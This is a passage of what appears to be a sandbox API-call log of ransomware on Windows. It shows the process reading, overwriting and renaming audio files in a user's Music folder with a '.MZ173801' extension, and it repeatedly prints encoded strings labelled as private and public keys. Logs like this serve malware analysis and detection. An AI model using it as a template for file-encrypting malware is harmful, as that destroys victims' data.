(normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qgswzi1gyw _cpzuf.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b9a0, ftCreationTime.dwHighDateTime=0x1d5ead1, ftLastAccessTime.dwLowDateTime=0x53c0b960, ftLastAccessTime.dwHighDateTime=0x1d5e209, ftLastWriteTime.dwLowDateTime=0x53c0b960, ftLastWriteTime.dwHighDateTime=0x1d5e209, nFileSizeHigh=0x0, nFileSizeLow=0x6d04)) returned 1 [0159.032] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qGswZi1Gyw _CPZuF.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qgswzi1gyw _cpzuf.mp3")) returned 0x20 [0159.032] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qGswZi1Gyw _CPZuF.mp3", dwFileAttributes=0x80) returned 1 [0159.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0159.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0159.035] GetCurrentThreadId () returned 0xab4 [0159.035] GetCurrentThreadId () returned 0xab4 [0159.035] GetCurrentThreadId () returned 0xab4 [0159.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0159.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0159.035] GetCurrentThreadId () returned 0xab4 [0159.035] GetCurrentThreadId () returned 0xab4 [0159.035] GetCurrentThreadId () returned 0xab4 [0159.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qGswZi1Gyw _CPZuF.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qgswzi1gyw _cpzuf.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.036] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0159.036] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.036] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x6d04 [0159.036] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.036] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x6d04, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x6d04, lpOverlapped=0x0) returned 1 [0159.037] CloseHandle (hObject=0x2f8) returned 1 [0159.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qGswZi1Gyw _CPZuF.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qgswzi1gyw _cpzuf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.038] WriteFile (in: hFile=0x2f8, lpBuffer=0x24a8040*, nNumberOfBytesToWrite=0x6d04, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a8040*, lpNumberOfBytesWritten=0x19f758*=0x6d04, lpOverlapped=0x0) returned 1 [0159.039] CloseHandle (hObject=0x2f8) returned 1 [0159.041] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qGswZi1Gyw _CPZuF.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qgswzi1gyw _cpzuf.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qGswZi1Gyw _CPZuF.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qgswzi1gyw _cpzuf.mp3.mz173801")) returned 1 [0159.041] GetCurrentThreadId () returned 0xab4 [0159.041] GetCurrentThreadId () returned 0xab4 [0159.041] GetCurrentThreadId () returned 0xab4 [0159.041] GetCurrentThreadId () returned 0xab4 [0159.041] GetCurrentThreadId () returned 0xab4 [0159.041] GetCurrentThreadId () returned 0xab4 [0159.042] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d05f730, ftCreationTime.dwHighDateTime=0x1d5ee8b, ftLastAccessTime.dwLowDateTime=0xcbd9caa0, ftLastAccessTime.dwHighDateTime=0x1d5edb1, ftLastWriteTime.dwLowDateTime=0xcbd9caa0, ftLastWriteTime.dwHighDateTime=0x1d5edb1, nFileSizeHigh=0x0, nFileSizeLow=0xe363, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="qQSmOyAVpU.wav", cAlternateFileName="QQSMOY~1.WAV")) returned 1 [0159.042] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.042] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qQSmOyAVpU.wav" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qqsmoyavpu.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d05f730, ftCreationTime.dwHighDateTime=0x1d5ee8b, ftLastAccessTime.dwLowDateTime=0xcbd9caa0, ftLastAccessTime.dwHighDateTime=0x1d5edb1, ftLastWriteTime.dwLowDateTime=0xcbd9caa0, ftLastWriteTime.dwHighDateTime=0x1d5edb1, nFileSizeHigh=0x0, nFileSizeLow=0xe363)) returned 1 [0159.042] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qQSmOyAVpU.wav" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qqsmoyavpu.wav")) returned 0x20 [0159.042] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qQSmOyAVpU.wav", dwFileAttributes=0x80) returned 1 [0159.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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